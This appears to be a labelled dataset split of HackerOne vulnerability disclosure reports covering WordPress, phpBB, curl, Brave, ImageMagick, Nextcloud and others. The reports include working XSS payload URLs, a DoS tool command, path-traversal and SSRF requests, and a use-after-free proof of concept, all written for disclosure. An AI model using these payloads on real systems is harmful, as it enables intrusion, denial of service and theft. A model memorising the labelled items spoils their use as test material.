+{"id": "ee7e6c8d19b24af0454e", "text": "[Uncontrolled Resource Consumption] WordPress application vulnerable to DoS attack via wp-cron.php\n\n**Description:**\nHi team,\n\nThe WordPress application is vulnerable to a Denial of Service (DoS) attack via the wp-cron.php script. This script is used by WordPress to perform scheduled tasks, such as publishing scheduled posts, checking for updates, and running plugins.\n\nAn attacker can exploit this vulnerability by sending a large number of requests to the wp-cron.php script, causing it to consume excessive resources and overload the server. This can lead to the application becoming unresponsive or crashing, potentially causing data loss and downtime.\n\nI found this vulnerability at https://████████ endpoint.\n\n## References\n\nhttps://developer.wordpress.org/plugins/cron/\n\n## Impact\n\nA successful attack on this vulnerability can result in the following consequences:\n\n    - Denial of Service (DoS) attacks, rendering the application unavailable.\n    - Server overload and increased resource usage, leading to slow response times or application crashes.\n   -  Potential data loss and downtime.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Get the doser.py script at https://github.com/Quitten/doser.py\n2. Use this command to run the script:\n```\npython3 doser.py -t 999 -g 'https://█████/wp-cron.php'\n```\n3. Go to https://████ after 1000 requests of the doser.py script.\n4. The site returns code 502.\n5. See the video PoC.\n\n## Suggested Mitigation/Remediation Actions\nTo mitigate this vulnerability, it is recommended to disable the default WordPress wp-cron.php script and set up a server-side cron job instead.\nHere are the steps to disable the default wp-cron.php script and set up a server-side cron job:\n\n   1.  Access your website's root directory via FTP or cPanel File Manager.\n   2.  Locate the wp-config.php file and open it for editing.\n   3.  Add the following line of code to the file, just before the line that says \"That's all, stop editing! Happy publishing.\":\n```\ndefine('DISABLE_WP_CRON', true);\n```\n   4.  Save the changes to the wp-config.php file.\n   5. Set up a server-side cron job to run the wp-cron.php script at the desired interval. This can be done using the server's control panel or by editing the server's crontab file.", "source": "hackerone", "timestamp": "2023-04-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d075c244d65323976ab6", "text": "[Cross-site Scripting (XSS) - Stored] Authenticated path traversal to Stored XSS and Denial-of-Service\n\n# Denial-of-Service\nThe vulnerabiity lies on the line `552` of `acp_icons.php`file, when importing emoji from a file we can tell phpBB which file to import from via the paramter `pak`, without any sanitization, the `pak` paramter gets passed dirrectly to `file` the file function, which attemp to read the content of the file to an array.\n{F2705838}\nBecause of the check, reading files like /etc/passwd would not be possible, but if we try to read files like /proc/self/fd/1, the request will hang, a TCP connection will be kept open, the will bring lots of burden to the server. More over, in the case when phpBB is behind a proxy, which may process concurrent request one by one, in this case, if the previous request has not finished, the the rest of requests will have to wait for it to timeout, causing a Denial-of-Service\n\nIn the progress of testing, i use the default HTTP server of PHP, which simulate exactly what a one-by-one request processing proxy would do.\nRequest:\n```\nPOST /adm/index.php?i=acp_icons&mode=smilies&current=delete HTTP/1.1\nHost: 127.0.0.1:8082\nsec-ch-ua: \"Chromium\";v=\"113\", \"Not-A.Brand\";v=\"24\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nContent-Type: application/x-www-form-urlencoded\nReferer: http://127.0.0.1:8082/adm/index.php?i=acp_icons&mode=smilies\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: csrftoken=Ky6rB5uThxl3PwYd6EScmT9WXYiH6rGe; sessionid=hmrhwwo5hj5abu4kqgln2let1x9zudbr; phpbb3_83bmg_u=2; phpbb3_83bmg_k=zalvonnyh1lr16og; phpbb3_83bmg_sid=3ba797a8668f6db1639ac6939d91f96e\nConnection: close\nContent-Length: 137\n\naction=import&pak=../../../../../../../../../proc/self/fd/1&form_token=b2655d5f0c9edb201328b799a61777b26cef16a5&creation_time=1694960302\n```\nResult timed-out and no response received:\n{F2705858}\n\nThis vulnerability can also help an authenticated attacker know which file exist on server by observe the response message, if the file is not found, the error from `$user->lang['PAK_FILE_NOT_READABLE']` would trigger and result in different message than `$user->lang['WRONG_PAK_TYPE']`(when the file exist but has invalid format)\n# Stored XSS\nWhen testing the emoji import, i also observe that the `SMILEY_IMG` isn't sanitized or escaped\n{F2705870} \nSo we can import a malicious emoji file containing the XSS payload, everyone who access the sites (posting section, comment section, admin section, ...) that emoji presents will trigger the XSS payload, leading to web defacement, cookie stealing, malware attack, ... \n```\n'icon_e_biggrin.gif', '15', '17', '1', 'Very Happy', ':D',\n'icon_e_biggrin.gif', '15', '17', '1', 'Very Happy', ':-D',\n'icon_e_biggrin.gif', '15', '17', '1', 'Very Happy', ':grin:',\n'icon_e_smile.gif', '15', '17', '1', 'Smile', ':)',\n'icon_e_smile.gif', '15', '17', '1', 'Smile', ':-)',\n'icon_e_smile.gif', '15', '17', '1', 'Smile', ':smile:',\n'icon_e_wink.gif', '15', '17', '1', 'Wink', ';)',\n'icon_e_wink.gif', '15', '17', '1', 'Wink', ';-)',\n'icon_e_wink.gif', '15', '17', '1', 'Wink', ':wink:',\n'icon_e_sad.gif', '15', '17', '1', 'Sad', ':(',\n'icon_e_sad.gif', '15', '17', '1', 'Sad', ':-(',\n'icon_e_sad.gif', '15', '17', '1', 'Sad', ':sad:',\n'icon_e_surprised.gif', '15', '17', '1', 'Surprised', ':o',\n'icon_e_surprised.gif', '15', '17', '1', 'Surprised', ':-o',\n'icon_e_surprised.gif', '15', '17', '1', 'Surprised', ':eek:',\n'icon_eek.gif', '15', '17', '1', 'Shocked', ':shock:',\n'icon_e_confused.gif', '15', '17', '1', 'Confused', ':?',\n'icon_e_confused.gif', '15', '17', '1', 'Confused', ':-?',\n'icon_e_confused.gif', '15', '17', '1', 'Confused', ':???:',\n'\"onmouseover=al", "source": "hackerone", "timestamp": "2023-10-29", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8ddeeaee97b240ac8f2c", "text": "[Improper Certificate Validation] Invalid handling of X509_verify_cert() internal errors in libssl (CVE-2021-4044)\n\nInternally libssl in OpenSSL calls X509_verify_cert() on the client side to\nverify a certificate supplied by a server. That function may return a negative\nreturn value to indicate an internal error (for example out of memory). Such a\nnegative return value is mishandled by OpenSSL and will cause an IO function\n(such as SSL_connect() or SSL_do_handshake()) to not indicate success and a\nsubsequent call to SSL_get_error() to return the value\nSSL_ERROR_WANT_RETRY_VERIFY. This return value is only supposed to be returned\nby OpenSSL if the application has previously called\nSSL_CTX_set_cert_verify_callback(). Since most applications do not do this the\nSSL_ERROR_WANT_RETRY_VERIFY return value from SSL_get_error() will be totally\nunexpected and applications may not behave correctly as a result. The exact\nbehaviour will depend on the application but it could result in crashes,\ninfinite loops or other similar incorrect responses.\n\nThis issue is made more serious in combination with a separate bug in OpenSSL\n3.0 that will cause X509_verify_cert() to indicate an internal error when\nprocessing a certificate chain. This will occur where a certificate does not\ninclude the Subject Alternative Name extension but where a Certificate Authority\nhas enforced name constraints. This issue can occur even with valid chains.\n\n## Impact\n\nBy combining the two issues an attacker could induce incorrect, application\ndependent behaviour.\n\nOpenSSL 3.0.0 SSL/TLS clients are affected by this issue.", "source": "hackerone", "timestamp": "2022-01-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "9bea22eddf29c0cf8e76", "text": "[Authentication Bypass by Primary Weakness] CVE-2023-27535: FTP too eager connection reuse\n\n## Summary:\nlibcurl FTP(S) protocol will reuse connection even if different `CURLOPT_FTP_ACCOUNT` (libcurl) or `--ftp-account` (curl) is specified for different connections and the server requests account authentication via reply code `332`. It appears that `STRING_FTP_ALTERNATIVE_TO_USER ` (libcurl) or `--ftp-alternative-to-user` (curl) is also affected and should also result in caching being refused.\n\n## Steps To Reproduce:\n\n  1. terminal 1: `echo -e \"foo\\n\" | nc -v -l -p 9998; echo -e \"bar\\n\" | nc -v -l -p 9998`\n  2. terminal 2:  `echo -ne \"220 a\\n331 b\\n332 c\\n230 d\\n257 \\\"/\\\"\\n229 (|||9998|)\\n200 e\\n213 4\\n150 f\\n226 g\\n229 (|||9998|)\\n213 4\\n150 f\\n226 g\\n\" | nc -v -l -p 9999`\n  3. terminal 3: `curl -v --ftp-account alice \"ftp://ftp@server:9999/file1\" -: --ftp-account bob \"ftp://ftp@server:9999/file2\"`\n\nAs a result connection authenticated as user `alice` will be used when fetching `file2` regardless that user `bob` was specified for fetching it.\n\n## Remediation\n* Don't reuse connection if `CURLOPT_FTP_ACCOUNT` or `STRING_FTP_ALTERNATIVE_TO_USER`  are different.\n\n## Supporting Material/References:\n* https://www.ietf.org/rfc/rfc0959.txt\n\n## Impact\n\nAccessing content with wrong cached credentials.", "source": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ec1a94ef5a57d9ae01f5", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://██████/\n\n**Description:**\nThere exists a reflected XSS within the logout functionality of ServiceNow. This enables an unauthenticated remote attacker to execute arbitrary JavaScript.\n\n## References\n* https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793\n\n## Impact\n\nSteal cookies to account takeover.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2022-38463\n\n## Steps to Reproduce\n1.Go to https://████/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n2.You will see alert box like this.\n███████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-09-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2d6f93b7cec9a4586a8e", "text": "[Use After Free] UAF on JSEthereumProvider\n\nThere is a UAF (Use After Free) vulnerability in the renderer implementation of the Ethereum wallet.\n\nWhen the Ethereum wallet is connected, every V8 render gets this piece of code installed, creating a new object ethereum accessible from V8. You can find the code here: https://github.com/brave/brave-core/blob/45c6649a124dd8d0ffb19ca6f7047bebb6e6da2c/components/brave_wallet/renderer/js_ethereum_provider.cc#L163-L164\n\nI will highlight some parts of the JSEthereumProvider::Install function that show the bug:\n\n```cpp\n// 1. Create a new handle to JSEthereumProvider and convert it to a v8::Object\ngin::Handle<JSEthereumProvider> provider =\n    gin::CreateHandle(isolate, new JSEthereumProvider(render_frame));\nif (provider.IsEmpty()) {\n  return;\n}\nv8::Local<v8::Value> provider_value = provider.ToV8();\nv8::Local<v8::Object> provider_object =\n    provider_value->ToObject(context).ToLocalChecked();\n\n// 2. Create a v8::Proxy for the provider\nif (!v8::Proxy::New(context, provider_object, ethereum_proxy_handler_obj)\n         .ToLocal(&ethereum_proxy)) {\n  // Error handling\n}\n\n// 3. Expose it through window.ethereum\nglobal\n    ->Set(context, gin::StringToSymbol(isolate, kEthereum), ethereum_proxy)\n    .Check();\n\n// 4. Create a new v8::Object and make it accessible through ethereum._metamask\nv8::Local<v8::Object> metamask_obj = v8::Object::New(isolate);\nprovider_object\n    ->Set(context, gin::StringToSymbol(isolate, kMetaMask), metamask_obj)\n    .Check();\n\n// 5. [BUG] Set a new property called `IsUnlocked`, creating a new callback object bound to `base::Unretained(provider.get())`, making the wrong assumption that ethereum._metamask can never outlive ethereum\nprovider_object\n    ->Set(context, gin::StringToSymbol(isolate, kIsUnlocked),\n          gin::CreateFunctionTemplate(\n              isolate, base::BindRepeating(&JSEthereumProvider::IsUnlocked,\n                                           base::Unretained(provider.get())))\n              ->GetFunction(context)\n              .ToLocalChecked())\n    .Check();\n```\nThe bug can be triggered through JavaScript with the following steps:\n\n1. Get a reference to ethereum._metamask.\n2. Delete the ethereum object, which deletes provider.get().\n3. Call isUnlocked(), which will point to the deleted provider.get() pointer.\n\nHere is a PoC (Proof of Concept) that can crash the renderer process:\n```\nfunction triggerGC() {\n  for (let i = 0; i < 100; i++) {\n    let a = new Array(1000000);\n  }\n}\n\nlet uafObj = ethereum._metamask;\ndelete ethereum;\ntriggerGC();\nconsole.log(await uafObj.isUnlocked());\n```\n\nWill try to follow up with a full exploit to show code execution on the renderer process.\n\n## Impact\n\nGet code execution on the renderer process.", "source": "hackerone", "timestamp": "2023-10-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "458e81d08a7ffb480596", "text": "[Cross-site Scripting (XSS) - Reflected] XSS in www.shopify.com/markets?utm_source=\n\nHello, hope you are having a good day :)\n\n## Summary:\nI found a reflected XSS in `www.shopify.com/markets` using the `utm_source` parameter\n\nReflected XSS vulnerabilities arise when the application accepts a malicious input script from a user and then it is executed in the victim's browser. Since the XSS is reflected, the attacker has to trick the victim into executing the payload, usually using another website or by sending a specially crafted link\n\n##### URL: `https://www.shopify.com/markets`\n##### INJECTION POINT: `utm_source` parameter\n##### PAYLOAD: `injection%22%20style=%22animation-name:swoop-up%22%20onanimationstart=%22alert(document.domain)`\n\n## Steps To Reproduce:\nVisit this URL:  \n```\nhttps://www.shopify.com/markets?utm_source=INJECTION%22%20style=%22animation-name:swoop-up%22%20onanimationstart=%22alert(document.domain)\n```\n\nBy visiting that link you'll get an alert on your screen, that demonstrates the existence of the vulnerability.\n\n{F1925617}\n\nThe attack is unauthenticated\n\n## Recommended Fix\nCorrectly escape special characters such as `<` `>` `\"` `'` based on the context where the string gets reflected.\n\nThank you.\n\n## Impact\n\nAn attacker could steal user cookies, create a trusted phishing page or bypass any CSRF protection mechanism.", "source": "hackerone", "timestamp": "2022-10-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "283ab771efb286dded99", "text": "[Unknown] Privilege Esacalation at Apache Airflow 2.5.1\n\nHello. I found security issue about airflow's log file. \n\nAirflow 2.5.1 sets log files to vulnerable privileges.  (chmod 666)\n\nAny Linux user on the host on which the airflow operates can read and tamper with the airflow's logs.\n\nTaking advantage of this, an attacker in local host can retrieve sensitive information from a Linux host that can only access airflow accounts.  ** (This is privilege escaltion from any linux account to airflow's linux account) **\n(ex : ssh private key)\n\n** The attack conditions are as follows. **\n1. An attacker can log in to a host running airflow with a specific Linux account.\n(Or the penetration test was successfully successful.)\n\n2. An attacker can log in to the airflow web server and can read the dag log.\n\n** The attack procedure is as follows.  **\n\n1. After deleting a specific dag log using any account, the attacker regenerates the log file using the ssh private key of the account that runs the airflow as a symbolic link.\n{F2171182}\n\n2. The attacker logs in to the airflow webserver and reads the log.\n{F2171186}\n\n\n3. The airflow logs expose SSH PRIVATE KEY.\n\n{F2171190}\n\n\n\n## Patch History \n- https://github.com/apache/airflow/pull/29506\n- This vulnerability has been allocated CVE-2023-25754 by Apache Security Team.\n\n## Impact\n\nLocal linux user can access any file like ssh private key which owned by account which operate airflow.", "source": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "042eb43a1ded7b40fd5c", "text": "[Missing Encryption of Sensitive Data] CVE-2023-46219: HSTS long file name clears contents\n\n## Summary:\nI've discovered a significant security flaw in cURL's file handling, particularly affecting the HSTS (HTTP Strict Transport Security) database when handling long filenames. \n\n### Vulnerability Description\ncURL erroneously creates temporary files with names potentially exceeding the filesystem's maximum filename length (typically 255 bytes for ext4, etc.). If a filename used in the HSTS database is longer than 243 bytes (255 bytes minus 9 for the random suffix and 4 for the '.tmp' extension), an unexpected security error occurs, leading to the HSTS database being overwritten.\n\n### Affected Code\n\n**File: curl/lib/fopen.c**\n```c\nCURLcode Curl_fopen(struct Curl_easy *data, const char *filename, FILE **fh, char **tempname) {\n  CURLcode result = CURLE_WRITE_ERROR;\n  unsigned char randsuffix[9]; // Random suffix generation <=======\n  ...\n  tempstore = aprintf(\"%s.%s.tmp\", filename, randsuffix); // Temporary filename creation <=======\n  if(!tempstore) {\n    result = CURLE_OUT_OF_MEMORY;\n    goto fail;\n  }\n}\n```\n\n**File: curl/lib/hsts.c**\n```c\nresult = Curl_fopen(data, file, &out, &tempstore);\n...\nif(!result && tempstore && Curl_rename(tempstore, file)) // Attempt to rename temp file to actual file <======\n  result = CURLE_WRITE_ERROR;\n\nif(result && tempstore)\n  unlink(tempstore); // Remove temp file if error occurs\n```\n\n## Steps To Reproduce:\n\n\nFirst let’s check the correct behaviour. I’ve created simple hsts file for cxsecurity.com domain\n```bash\n$ cat ok.hsts.txt\n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\ncxsecurity.com \"20241031 12:12:12\"\n                                                                                                                                                  \n$ curl --hsts ok.hsts.txt http://cxsecurity.com -v\n* Switched from HTTP to HTTPS due to HSTS => https://cxsecurity.com/\n*   Trying 188.114.97.1:443...\n…
\n```\n\nSo works great. Let’s try update the database and add Facebook \n  \n```bash\n$ curl --hsts ok.hsts.txt https://facebook.com -v \n*   Trying 31…\n* Connected to facebook.com …\n…\n< Strict-Transport-Security: max-age=15552000; preload\n…\n                                                                                                                                                                  \n$ cat ok.hsts.txt                                \n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\ncxsecurity.com \"20241031 12:12:12\"\nfacebook.com \"20240430 00:11:44\"\n```\n\nThe file has been successfully updated.  
\n\nLet’s see what will happen if the user will define filename longer that 243 (let’s use the content from previous file)\n\n```bash\n$ cp ok.hsts.txt hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.txt \n```\n\nLet’s validate the file size as it will be important to prove security issue. \n\n```bash\n$ ls -la hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.txt          \n-rw-r--r-- 1 cx cx 179 Nov  1 19:14 hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.txt\n```\n\nwe have 179 bytes.\n\nIf the user will use such file, curl will reset the content due to improper rename action\n\n```bash\n$ cat hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.h", "source": "hackerone", "timestamp": "2023-12-08", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "83b349cd020a316c01d5", "text": "[Path Traversal] (CVE-2023-32004) Permission model bypass by specifying a path traversal sequence in a Buffer\n\nhttps://nodejs.org/en/blog/vulnerability/august-2023-security-releases#permission-model-bypass-by-specifying-a-path-traversal-sequence-in-a-buffer-highcve-2023-32004\n\nhttps://hackerone.com/reports/2038134\n\nAlso, patch was provided in the report and matched https://github.com/nodejs/node/commit/1f64147eb607f82060e08884f993597774c69280 (excluding tests).\n\n## Impact\n\nsee reports.", "source": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "067ba8372f75dad8e8e7", "text": "[Uncontrolled Resource Consumption] [CVE-2022-44570] Possible Denial of Service Vulnerability in Rack’s Range header parsing\n\nI made a report and patch at https://hackerone.com/reports/1668717.\n\nhttps://discuss.rubyonrails.org/t/cve-2022-44570-possible-denial-of-service-vulnerability-in-racks-range-header-parsing/82125\n> There is a possible denial of service vulnerability in the Range header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44570.\n>Carefully crafted input can cause the Range header parsing component in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that deal with Range requests (such as streaming applications, or applications that serve files) may be impacted.\n\n## Impact\n\nReDoS occurs when crafted values are sent to request headers.\nEspecially in Rails, access to public directories is affected.\n\nIt was possible to attack ReDoS on many servers without authentication, but in the case of this regular expression, if it is ruby 3.2 or higher, there is a memoization countermeasure, so it is not a threat.", "source": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "04b3f894ad34cb62d066", "text": "[Remote File Inclusion] [CVE-2022-44268] Arbitrary Remote Leak via ImageMagick\n\n**Summary:**\nHackerOne's image upload is using ImageMagick to convert/resize images and is likely updated. Thus, it's vulnerable to CVE-2022-44268.\n\n**Description:**\n\n\n### Steps To Reproduce\n1. Navigate to your profile\n2. Edit and upload the attached image (`im-lfi.png`) as your profile picture\n3. Save changes and download the resized picture\n4. Issue the following command to view the downloaded image's profile data;\n```bash\nidentify -verbose image.png\n```\nThen, copy the `Raw profile type:` and decode it using any tool or using Python like;\n```bash\npython -c \"print(bytes.fromhex('2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a').decode())\"\n```\n\nI've attached the resized image too which contains the content of /etc/passwd i.e. 86bca9490b71a481329efc85de3a82a98f6c29475f4926fd2b5fc844b96899c0.png\n\n## Impact\n\nArbitrary Remote Leak", "source": "hackerone", "timestamp": "2023-03-16", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "a1e89429383892c5fdd5", "text": "[Unknown] ReDoS (Rails::Html::PermitScrubber.scrub_attribute)\n\nI reported at  https://hackerone.com/reports/1684163\n\nhttps://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-5x79-w82f-gw8w\n\n> Certain configurations of rails-html-sanitizer < 1.4.4 use an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.\n\nIt seems that the same problem existed on the Loofah side, so it was fixed as well. That has been fixed as CVE-2022-23514(https://github.com/flavorjones/loofah/security/advisories/GHSA-486f-hjj9-9vhh)\n\n## Impact\n\nReDoS may occur if scrub is executed in Rails::Html::PermitScrubber.", "source": "hackerone", "timestamp": "2022-12-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "231ce774e207aae78e1d", "text": "[Cross-site Scripting (XSS) - Stored] HTML injection that may lead to XSS on HackerOne.com through H1 Triage Wizard Chrome Extension\n\nTo reproduce:\n\n* ensure you have the H1 Triage Wizard Chrome extension enabled\n* visit https://hackerone.com/reports/1622449?subject=security&/bugs=1\n* right-click the report, select \"View Triage Questionnaire (Beta)\"\n* observe an HTML payload being injected\n\n{F2173699}\n\nThe payload is stored in █████████. The contents of this file are dynamically loaded through the Chrome extension.\n\nThe vulnerability is caused by the following code in the `triage-extension-private` repository:\n\n```js\nbuildTriageQuestionnaireModal = (\n  modalElement,\n  triageQuestionnaireModalOptions\n) => {\n  let questionnaireResponses =\n    triageQuestionnaireModalOptions.questionnaireResponses;\n  if (questionnaireResponses) {\n    modalElement.innerHTML = triageQuestionnaireHTML\n      .replace(\"{{handle}}\", triageQuestionnaireModalOptions.handle) // <-- the handle here is taken from the subject parameter (i.e. \"security\")\n      .replace(\"{{1}}\", questionnaireResponses[1]) // <-- the response to the questionnaire is interpolated without sanitizing it\n      .replace(\"{{2}}\", questionnaireResponses[2]) // <-- this applies to all of these\n      .replace(\"{{3}}\", questionnaireResponses[3])\n// ...\n```\n\n## Impact\n\nThis vulnerability may lead to compromising confidential information or impact its integrity.", "source": "hackerone", "timestamp": "2023-02-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "9e54978d46ac8f45b66a", "text": "[Cross-site Scripting (XSS) - Reflected] Jolokia Reflected XSS\n\n## Summary:\n\n(salam)\nHi team i hope you are well , after doing some recon on mars.com i saw that the website use jolkia 1.3.5 it's vulnerable to reflected XSS  \n\n## Steps To Reproduce:\n\n  1. Vuln Link : https://couponsmanager-uat.b2b.mars.com/jolokia/read%3Csvg%20onload=alert(document.cookie)%3E?mimeType=text/html\n\n## Supporting Material/References:\nCVE-2018-1000129\n\nJolkia - Version\n{F1957663}\n\n\n##POC \n\n{F1957668}\n\n## Impact\n\nIf an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.", "source": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "d572c18671cff80ce31f", "text": "[Privilege Escalation] Subdomain Takeover at course.oberlo.com\n\nHi,\nI was able to takeover your subdomain `course.oberlo.com` via using `kajabi` services.\n\n## `Poc :`\n\nvisit https://course.oberlo.com/ you will see my poc \n\nhttps://web.archive.org/web/20220904143512/https://course.oberlo.com/\n\n\n\n## `Suggested Fix :`\n\nClear your subdomain DNS.\n\n## Impact\n\nSubdomains Takeovers can be use in many things :\nMalware\nPhishing / Spear phishing\nXSS\nAuthentication bypass\nOpen Redirects\nTrue access\n.. etc\n\n\n****************************************\nKind Regards,\nMohamed Haron.", "source": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e1587fb19a6ab5470861", "text": "[Improper Access Control - Generic] AWS Credentials Disclosure at ███\n\nHi team!!\nI found the config.json file, which contains sensitive information of AWS.\n\nPOC:\nhttps://███████/config.json\n```\n{\"aws\": {\n        \"accessKeyID\": \"███████\",\n        \"secretAccessKey\": \"██████████\",\n        \"region\": \"███\",\n        \"bucket\": \"██████\",\n        \"endpoint\": \"https://s3.amazonaws.com\"\n    },\n    \"serverSettings\": {\n        \"port\": 443,\n        \"timeout\": 18000000\n    },\n    \"█████████\": {\n        \"authorizationURL\": \"https://████/ms_oauth/oauth2/endpoints/oauthservice/authorize\",\n        \"tokenURL\": \"https://████/ms_oauth/oauth2/endpoints/oauthservice/tokens\",\n        \"clientID\": \"██████████\",\n        \"clientSecret\": \"█████\",\n        \"callbackURL\": \"https://████████/callback\",\n        \"userProfileURL\": \"https://███/ms_oauth/resources/userprofile/me\"\n    }\n}\n```\n\n## Impact\n\nBy using leaked AWS credentials or abusing credentials with misconfigured permissions, an attacker could try to gain access to sensitive information on the AWS account or perform arbitrary modification on the AWS resources.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Use a browser to navigate to: https://██████/config.json\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "a3dc38929ce9d6f84679", "text": "[Server-Side Request Forgery (SSRF)] Mail app - Blind SSRF via Sierve server fonctionnality and sieveHost parameter\n\nHi everyone,\nI would like to report another  Blind SSRF vulnerability through the Nextcloud Mail application.\n\nTested on latest Mail release : `2.0.1`\n\n## Steps To Reproduce:\n\nFirstly, this report is similar to #1736390 except that it touches a new parameter and a different endpoint.\n\nWhen adding a filter via a sieve filter server (`mail` application => added mailbox => settings => Sieve filter server), the following request is made : \n\n```\nPUT /apps/mail/api/sieve/account/5 HTTP/2\nHost: redacted\nCookie: redactedr\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/plain, */*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nRequesttoken: redacted\nContent-Length: 117\nOrigin: redacted\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"sieveEnabled\":true,\"sieveHost\":\"evil.org\",\"sievePort\":\"80\",\"sieveUser\":\"\",\"sievePassword\":\"\",\"sieveSslMode\":\"none\"}\n```\n\nThe SSRF is found in the `sieveHost` parameter, and provided that the `sieveSslMode` parameter is set to `none`.\n\n```\n{\"sieveEnabled\":true,\"sieveHost\":\"127.0.0.1\",\"sievePort\":\"80\",\"sieveUser\":\"\",\"sievePassword\":\"\",\"sieveSslMode\":\"none\"}\n```\n\nVia the Burp Intruder tool, I will guess the open ports on my Nextcloud server. Response time less than 100ms => closed port. Response time higher than 5000ms = open ports and service listening on them.\n\n{F1992720}\n\nResult from Burp Intruder on my NC server : \n\n{F1992724}\n\n```\nPort 80 - Apache2 service\nPort 443 - Apache2 service\nPort 2222 - SSH ! (critical)\nPort 6060 - CrowdSec\nPort 8080 - CrowdSec\nPort 3306 - MySQL\nPort 5432 -  PostgreSQL\nPort 6379 - My Redis instance for Nextcloud\n```\n\n## Impact\n\nFrom [OWASP](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):\n\n> SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).\n\nThis vulnerability can allow a malicious individual to map the server and the company's internal network via Nextcloud. This is not demonstrated here in the report but one can scan private subnet ranges to try to guess : \n\n- Which IP addresses are responding\n- Wich ports are open \n- Tried to exploit vulnerable services through this Blind 